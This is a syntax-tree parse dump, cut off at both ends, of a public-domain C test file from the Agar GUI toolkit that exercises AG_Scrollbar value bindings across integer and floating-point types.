AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindFloat(sb, "value", &vFlt);\n AG_SetFloat(sb, "min", 0.0f);\n AG_SetFloat(sb, "max", 1.0f);\n AG_SetFloat(sb, "inc", 0.01f);\n \n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindDouble(sb, "value", &vDbl);\n AG_SetDouble(sb, "min", -100.0);\n AG_SetDouble(sb, "max", +100.0);\n AG_SetDouble(sb, "inc", 1.0);\n\n#ifdef AG_HAVE_LONG_DOUBLE\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindLongDouble(sb, "value", &vLDbl);\n#endif\n return (0);\n}\n\nconst AG_TestCase scrollbarTest = {\n "scrollbar",\n N_("Test the AG_Scrollbar(3) widget"),\n "1.5.0",\n 0,\n sizeof(AG_TestInstance),\n NULL, /* init */\n NULL, /* destroy */\n NULL, /* test */\n TestGUI,\n NULL /* bench */\n};\n" (comment) "/* Public domain */" (comment) "/*\n * Test the various bindings provided by the AG_Scrollbar(3) widget using\n * arbitrary values and ranges.\n */" (preproc_include) "#include "agartest.h"\n" (#include) "#include" (string_literal) ""agartest.h"" (") """ (string_content) "agartest.h" (") """ (declaration) "int vInt = 500;" (primitive_type) "int" (init_declarator) "vInt = 500" (identifier) "vInt" (=) "=" (number_literal) "500" (;) ";" (declaration) "unsigned vUint = 0;" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (init_declarator) "vUint = 0" (identifier) "vUint" (=) "=" (number_literal) "0" (;) ";" (declaration) "Sint8 v8 = 50;" (type_identifier) "Sint8" (init_declarator) "v8 = 50" (identifier) "v8" (=) "=" (number_literal) "50" (;) ";" (declaration) "Uint32 v32 = 32;" (type_identifier) "Uint32" (init_declarator) "v32 = 32" (identifier) "v32" (=) "=" (number_literal) "32" (;) ";" (preproc_ifdef) "#ifdef AG_HAVE_64BIT\nUint64 v64 = 64;\n#endif" (#ifdef) "#ifdef" (identifier) "AG_HAVE_64BIT" (declaration) "Uint64 v64 = 64;" (type_identifier) "Uint64" (init_declarator) "v64 = 64" (identifier) "v64" (=) "=" (number_literal) "64" (;) ";" (#endif) "#endif" (declaration) "float vFlt = 1.0;" (primitive_type) "float" (init_declarator) "vFlt = 1.0" (identifier) "vFlt" (=) "=" (number_literal) "1.0" (;) ";" (declaration) "double vDbl = 0.0;" (primitive_type) "double" (init_declarator) "vDbl = 0.0" (identifier) "vDbl" (=) "=" (number_literal) "0.0" (;) ";" (preproc_ifdef) "#ifdef AG_HAVE_LONG_DOUBLE\nlong double vLDbl = 1.0;\n#endif" (#ifdef) "#ifdef" (identifier) "AG_HAVE_LONG_DOUBLE" (declaration) "long double vLDbl = 1.0;" (sized_type_specifier) "long double" (long) "long" (primitive_type) "double" (init_declarator) "vLDbl = 1.0" (identifier) "vLDbl" (=) "=" (number_literal) "1.0" (;) ";" (#endif) "#endif" (function_definition) "static int\nTestGUI(void *obj, AG_Window *win)\n{\n AG_Scrollbar *sb;\n AG_Label *lbl;\n Uint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;\n\n lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt);\n AG_LabelSizeHint(lbl, 0, "XXXXXXXXXXXXXXXXXXXX");\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindInt(sb, "value", &vInt);\n AG_SetInt(sb, "min", -10000);\n AG_SetInt(sb, "max", 10000);\n AG_SetInt(sb, "inc", 1000);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint(sb, "value", &vUint);\n AG_SetUint(sb, "min", 0);\n AG_SetUint(sb, "max", 10000);\n AG_SetUint(sb, "inc", 1000);\n AG_SetUint(sb, "visible", 1000);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindSint8(sb, "value", &v8);\n AG_SetSint8(sb, "visible", 50);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint32(sb, "value", &v32);\n AG_SetUint32(sb, "min", 0);\n AG_SetUint32(sb, "max", 100);\n AG_SetUint32(sb, "visible", 10);\n\n#ifdef AG_HAVE_64BIT\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint64(sb, "value", &v64);\n AG_SetUint64(sb, "min", 0ULL);\n AG_SetUint64(sb, "max", 100ULL);\n AG_SetUint64(sb, "visible", 10ULL);\n#endif\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindFloat(sb, "value", &vFlt);\n AG_SetFloat(sb, "min", 0.0f);\n AG_SetFloat(sb, "max", 1.0f);\n AG_SetFloat(sb, "inc", 0.01f);\n \n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindDouble(sb, "value", &vDbl);\n AG_SetDouble(sb, "min", -100.0);\n AG_SetDouble(sb, "max", +100.0);\n AG_SetDouble(sb, "inc", 1.0);\n\n#ifdef AG_HAVE_LONG_DOUBLE\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindLongDouble(sb, "value", &vLDbl);\n#endif\n return (0);\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "int" (function_declarator) "TestGUI(void *obj, AG_Window *win)" (identifier) "TestGUI" (parameter_list) "(void *obj, AG_Window *win)" (() "(" (parameter_declaration) "void *obj" (primitive_type) "void" (pointer_declarator) "*obj" (*) "*" (identifier) "obj" (,) "," (parameter_declaration) "AG_Window *win" (type_identifier) "AG_Window" (pointer_declarator) "*win" (*) "*" (identifier) "win" ()) ")" (compound_statement) "{\n AG_Scrollbar *sb;\n AG_Label *lbl;\n Uint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;\n\n lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt);\n AG_LabelSizeHint(lbl, 0, "XXXXXXXXXXXXXXXXXXXX");\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindInt(sb, "value", &vInt);\n AG_SetInt(sb, "min", -10000);\n AG_SetInt(sb, "max", 10000);\n AG_SetInt(sb, "inc", 1000);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint(sb, "value", &vUint);\n AG_SetUint(sb, "min", 0);\n AG_SetUint(sb, "max", 10000);\n AG_SetUint(sb, "inc", 1000);\n AG_SetUint(sb, "visible", 1000);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindSint8(sb, "value", &v8);\n AG_SetSint8(sb, "visible", 50);\n\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint32(sb, "value", &v32);\n AG_SetUint32(sb, "min", 0);\n AG_SetUint32(sb, "max", 100);\n AG_SetUint32(sb, "visible", 10);\n\n#ifdef AG_HAVE_64BIT\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint64(sb, "value", &v64);\n AG_SetUint64(sb, "min", 0ULL);\n AG_SetUint64(sb, "max", 100ULL);\n AG_SetUint64(sb, "visible", 10ULL);\n#endif\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindFloat(sb, "value", &vFlt);\n AG_SetFloat(sb, "min", 0.0f);\n AG_SetFloat(sb, "max", 1.0f);\n AG_SetFloat(sb, "inc", 0.01f);\n \n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindDouble(sb, "value", &vDbl);\n AG_SetDouble(sb, "min", -100.0);\n AG_SetDouble(sb, "max", +100.0);\n AG_SetDouble(sb, "inc", 1.0);\n\n#ifdef AG_HAVE_LONG_DOUBLE\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindLongDouble(sb, "value", &vLDbl);\n#endif\n return (0);\n}" ({) "{" (declaration) "AG_Scrollbar *sb;" (type_identifier) "AG_Scrollbar" (pointer_declarator) "*sb" (*) "*" (identifier) "sb" (;) ";" (declaration) "AG_Label *lbl;" (type_identifier) "AG_Label" (pointer_declarator) "*lbl" (*) "*" (identifier) "lbl" (;) ";" (declaration) "Uint flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE;" (type_identifier) "Uint" (init_declarator) "flags = AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE" (identifier) "flags" (=) "=" (binary_expression) "AG_SCROLLBAR_HFILL|AG_SCROLLBAR_NOAUTOHIDE" (identifier) "AG_SCROLLBAR_HFILL" (|) "|" (identifier) "AG_SCROLLBAR_NOAUTOHIDE" (;) ";" (expression_statement) "lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt);" (assignment_expression) "lbl = AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt)" (identifier) "lbl" (=) "=" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Int binding: %d", &vInt)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "Int binding: %d", &vInt)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""Int binding: %d"" (") """ (string_content) "Int binding: %d" (") """ (,) "," (pointer_expression) "&vInt" (&) "&" (identifier) "vInt" ()) ")" (;) ";" (expression_statement) "AG_LabelSizeHint(lbl, 0, "XXXXXXXXXXXXXXXXXXXX");" (call_expression) "AG_LabelSizeHint(lbl, 0, "XXXXXXXXXXXXXXXXXXXX")" (identifier) "AG_LabelSizeHint" (argument_list) "(lbl, 0, "XXXXXXXXXXXXXXXXXXXX")" (() "(" (identifier) "lbl" (,) "," (number_literal) "0" (,) "," (string_literal) ""XXXXXXXXXXXXXXXXXXXX"" (") """ (string_content) "XXXXXXXXXXXXXXXXXXXX" (") """ ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindInt(sb, "value", &vInt);" (call_expression) "AG_BindInt(sb, "value", &vInt)" (identifier) "AG_BindInt" (argument_list) "(sb, "value", &vInt)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&vInt" (&) "&" (identifier) "vInt" ()) ")" (;) ";" (expression_statement) "AG_SetInt(sb, "min", -10000);" (call_expression) "AG_SetInt(sb, "min", -10000)" (identifier) "AG_SetInt" (argument_list) "(sb, "min", -10000)" (() "(" (identifier) "sb" (,) "," (string_literal) ""min"" (") """ (string_content) "min" (") """ (,) "," (number_literal) "-10000" ()) ")" (;) ";" (expression_statement) "AG_SetInt(sb, "max", 10000);" (call_expression) "AG_SetInt(sb, "max", 10000)" (identifier) "AG_SetInt" (argument_list) "(sb, "max", 10000)" (() "(" (identifier) "sb" (,) "," (string_literal) ""max"" (") """ (string_content) "max" (") """ (,) "," (number_literal) "10000" ()) ")" (;) ";" (expression_statement) "AG_SetInt(sb, "inc", 1000);" (call_expression) "AG_SetInt(sb, "inc", 1000)" (identifier) "AG_SetInt" (argument_list) "(sb, "inc", 1000)" (() "(" (identifier) "sb" (,) "," (string_literal) ""inc"" (") """ (string_content) "inc" (") """ (,) "," (number_literal) "1000" ()) ")" (;) ";" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "Uint binding: %d (vis=1000)", &vUint)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""Uint binding: %d (vis=1000)"" (") """ (string_content) "Uint binding: %d (vis=1000)" (") """ (,) "," (pointer_expression) "&vUint" (&) "&" (identifier) "vUint" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindUint(sb, "value", &vUint);" (call_expression) "AG_BindUint(sb, "value", &vUint)" (identifier) "AG_BindUint" (argument_list) "(sb, "value", &vUint)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&vUint" (&) "&" (identifier) "vUint" ()) ")" (;) ";" (expression_statement) "AG_SetUint(sb, "min", 0);" (call_expression) "AG_SetUint(sb, "min", 0)" (identifier) "AG_SetUint" (argument_list) "(sb, "min", 0)" (() "(" (identifier) "sb" (,) "," (string_literal) ""min"" (") """ (string_content) "min" (") """ (,) "," (number_literal) "0" ()) ")" (;) ";" (expression_statement) "AG_SetUint(sb, "max", 10000);" (call_expression) "AG_SetUint(sb, "max", 10000)" (identifier) "AG_SetUint" (argument_list) "(sb, "max", 10000)" (() "(" (identifier) "sb" (,) "," (string_literal) ""max"" (") """ (string_content) "max" (") """ (,) "," (number_literal) "10000" ()) ")" (;) ";" (expression_statement) "AG_SetUint(sb, "inc", 1000);" (call_expression) "AG_SetUint(sb, "inc", 1000)" (identifier) "AG_SetUint" (argument_list) "(sb, "inc", 1000)" (() "(" (identifier) "sb" (,) "," (string_literal) ""inc"" (") """ (string_content) "inc" (") """ (,) "," (number_literal) "1000" ()) ")" (;) ";" (expression_statement) "AG_SetUint(sb, "visible", 1000);" (call_expression) "AG_SetUint(sb, "visible", 1000)" (identifier) "AG_SetUint" (argument_list) "(sb, "visible", 1000)" (() "(" (identifier) "sb" (,) "," (string_literal) ""visible"" (") """ (string_content) "visible" (") """ (,) "," (number_literal) "1000" ()) ")" (;) ";" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "8-bit binding: %[s8] (vis=50)", &v8)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""8-bit binding: %[s8] (vis=50)"" (") """ (string_content) "8-bit binding: %[s8] (vis=50)" (") """ (,) "," (pointer_expression) "&v8" (&) "&" (identifier) "v8" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindSint8(sb, "value", &v8);" (call_expression) "AG_BindSint8(sb, "value", &v8)" (identifier) "AG_BindSint8" (argument_list) "(sb, "value", &v8)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&v8" (&) "&" (identifier) "v8" ()) ")" (;) ";" (expression_statement) "AG_SetSint8(sb, "visible", 50);" (call_expression) "AG_SetSint8(sb, "visible", 50)" (identifier) "AG_SetSint8" (argument_list) "(sb, "visible", 50)" (() "(" (identifier) "sb" (,) "," (string_literal) ""visible"" (") """ (string_content) "visible" (") """ (,) "," (number_literal) "50" ()) ")" (;) ";" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "32-bit binding: %[u32] (vis=10)", &v32)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""32-bit binding: %[u32] (vis=10)"" (") """ (string_content) "32-bit binding: %[u32] (vis=10)" (") """ (,) "," (pointer_expression) "&v32" (&) "&" (identifier) "v32" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindUint32(sb, "value", &v32);" (call_expression) "AG_BindUint32(sb, "value", &v32)" (identifier) "AG_BindUint32" (argument_list) "(sb, "value", &v32)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&v32" (&) "&" (identifier) "v32" ()) ")" (;) ";" (expression_statement) "AG_SetUint32(sb, "min", 0);" (call_expression) "AG_SetUint32(sb, "min", 0)" (identifier) "AG_SetUint32" (argument_list) "(sb, "min", 0)" (() "(" (identifier) "sb" (,) "," (string_literal) ""min"" (") """ (string_content) "min" (") """ (,) "," (number_literal) "0" ()) ")" (;) ";" (expression_statement) "AG_SetUint32(sb, "max", 100);" (call_expression) "AG_SetUint32(sb, "max", 100)" (identifier) "AG_SetUint32" (argument_list) "(sb, "max", 100)" (() "(" (identifier) "sb" (,) "," (string_literal) ""max"" (") """ (string_content) "max" (") """ (,) "," (number_literal) "100" ()) ")" (;) ";" (expression_statement) "AG_SetUint32(sb, "visible", 10);" (call_expression) "AG_SetUint32(sb, "visible", 10)" (identifier) "AG_SetUint32" (argument_list) "(sb, "visible", 10)" (() "(" (identifier) "sb" (,) "," (string_literal) ""visible"" (") """ (string_content) "visible" (") """ (,) "," (number_literal) "10" ()) ")" (;) ";" (preproc_ifdef) "#ifdef AG_HAVE_64BIT\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindUint64(sb, "value", &v64);\n AG_SetUint64(sb, "min", 0ULL);\n AG_SetUint64(sb, "max", 100ULL);\n AG_SetUint64(sb, "visible", 10ULL);\n#endif" (#ifdef) "#ifdef" (identifier) "AG_HAVE_64BIT" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "64-bit binding: %[u64] (vis=10)", &v64)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""64-bit binding: %[u64] (vis=10)"" (") """ (string_content) "64-bit binding: %[u64] (vis=10)" (") """ (,) "," (pointer_expression) "&v64" (&) "&" (identifier) "v64" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindUint64(sb, "value", &v64);" (call_expression) "AG_BindUint64(sb, "value", &v64)" (identifier) "AG_BindUint64" (argument_list) "(sb, "value", &v64)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&v64" (&) "&" (identifier) "v64" ()) ")" (;) ";" (expression_statement) "AG_SetUint64(sb, "min", 0ULL);" (call_expression) "AG_SetUint64(sb, "min", 0ULL)" (identifier) "AG_SetUint64" (argument_list) "(sb, "min", 0ULL)" (() "(" (identifier) "sb" (,) "," (string_literal) ""min"" (") """ (string_content) "min" (") """ (,) "," (number_literal) "0ULL" ()) ")" (;) ";" (expression_statement) "AG_SetUint64(sb, "max", 100ULL);" (call_expression) "AG_SetUint64(sb, "max", 100ULL)" (identifier) "AG_SetUint64" (argument_list) "(sb, "max", 100ULL)" (() "(" (identifier) "sb" (,) "," (string_literal) ""max"" (") """ (string_content) "max" (") """ (,) "," (number_literal) "100ULL" ()) ")" (;) ";" (expression_statement) "AG_SetUint64(sb, "visible", 10ULL);" (call_expression) "AG_SetUint64(sb, "visible", 10ULL)" (identifier) "AG_SetUint64" (argument_list) "(sb, "visible", 10ULL)" (() "(" (identifier) "sb" (,) "," (string_literal) ""visible"" (") """ (string_content) "visible" (") """ (,) "," (number_literal) "10ULL" ()) ")" (;) ";" (#endif) "#endif" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "Float binding: %f", &vFlt)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""Float binding: %f"" (") """ (string_content) "Float binding: %f" (") """ (,) "," (pointer_expression) "&vFlt" (&) "&" (identifier) "vFlt" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindFloat(sb, "value", &vFlt);" (call_expression) "AG_BindFloat(sb, "value", &vFlt)" (identifier) "AG_BindFloat" (argument_list) "(sb, "value", &vFlt)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&vFlt" (&) "&" (identifier) "vFlt" ()) ")" (;) ";" (expression_statement) "AG_SetFloat(sb, "min", 0.0f);" (call_expression) "AG_SetFloat(sb, "min", 0.0f)" (identifier) "AG_SetFloat" (argument_list) "(sb, "min", 0.0f)" (() "(" (identifier) "sb" (,) "," (string_literal) ""min"" (") """ (string_content) "min" (") """ (,) "," (number_literal) "0.0f" ()) ")" (;) ";" (expression_statement) "AG_SetFloat(sb, "max", 1.0f);" (call_expression) "AG_SetFloat(sb, "max", 1.0f)" (identifier) "AG_SetFloat" (argument_list) "(sb, "max", 1.0f)" (() "(" (identifier) "sb" (,) "," (string_literal) ""max"" (") """ (string_content) "max" (") """ (,) "," (number_literal) "1.0f" ()) ")" (;) ";" (expression_statement) "AG_SetFloat(sb, "inc", 0.01f);" (call_expression) "AG_SetFloat(sb, "inc", 0.01f)" (identifier) "AG_SetFloat" (argument_list) "(sb, "inc", 0.01f)" (() "(" (identifier) "sb" (,) "," (string_literal) ""inc"" (") """ (string_content) "inc" (") """ (,) "," (number_literal) "0.01f" ()) ")" (;) ";" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "Double binding: %lf", &vDbl)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""Double binding: %lf"" (") """ (string_content) "Double binding: %lf" (") """ (,) "," (pointer_expression) "&vDbl" (&) "&" (identifier) "vDbl" ()) ")" (;) ";" (expression_statement) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);" (assignment_expression) "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "sb" (=) "=" (call_expression) "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)" (identifier) "AG_ScrollbarNew" (argument_list) "(win, AG_SCROLLBAR_HORIZ, flags)" (() "(" (identifier) "win" (,) "," (identifier) "AG_SCROLLBAR_HORIZ" (,) "," (identifier) "flags" ()) ")" (;) ";" (expression_statement) "AG_BindDouble(sb, "value", &vDbl);" (call_expression) "AG_BindDouble(sb, "value", &vDbl)" (identifier) "AG_BindDouble" (argument_list) "(sb, "value", &vDbl)" (() "(" (identifier) "sb" (,) "," (string_literal) ""value"" (") """ (string_content) "value" (") """ (,) "," (pointer_expression) "&vDbl" (&) "&" (identifier) "vDbl" ()) ")" (;) ";" (expression_statement) "AG_SetDouble(sb, "min", -100.0);" (call_expression) "AG_SetDouble(sb, "min", -100.0)" (identifier) "AG_SetDouble" (argument_list) "(sb, "min", -100.0)" (() "(" (identifier) "sb" (,) "," (string_literal) ""min"" (") """ (string_content) "min" (") """ (,) "," (number_literal) "-100.0" ()) ")" (;) ";" (expression_statement) "AG_SetDouble(sb, "max", +100.0);" (call_expression) "AG_SetDouble(sb, "max", +100.0)" (identifier) "AG_SetDouble" (argument_list) "(sb, "max", +100.0)" (() "(" (identifier) "sb" (,) "," (string_literal) ""max"" (") """ (string_content) "max" (") """ (,) "," (number_literal) "+100.0" ()) ")" (;) ";" (expression_statement) "AG_SetDouble(sb, "inc", 1.0);" (call_expression) "AG_SetDouble(sb, "inc", 1.0)" (identifier) "AG_SetDouble" (argument_list) "(sb, "inc", 1.0)" (() "(" (identifier) "sb" (,) "," (string_literal) ""inc"" (") """ (string_content) "inc" (") """ (,) "," (number_literal) "1.0" ()) ")" (;) ";" (preproc_ifdef) "#ifdef AG_HAVE_LONG_DOUBLE\n AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl);\n sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n AG_BindLongDouble(sb, "value", &vLDbl);\n#endif" (#ifdef) "#ifdef" (identifier) "AG_HAVE_LONG_DOUBLE" (expression_statement) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl);" (call_expression) "AG_LabelNewPolled(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl)" (identifier) "AG_LabelNewPolled" (argument_list) "(win, AG_LABEL_HFILL, "Long Double binding: %llf", &vLDbl)" (() "(" (identifier) "win" (,) "," (identifier) "AG_LABEL_HFILL" (,) "," (string_literal) ""Long Double binding: %llf"" (") """ (string_content) "Long Double binding: %llf" (") """ (,) "," 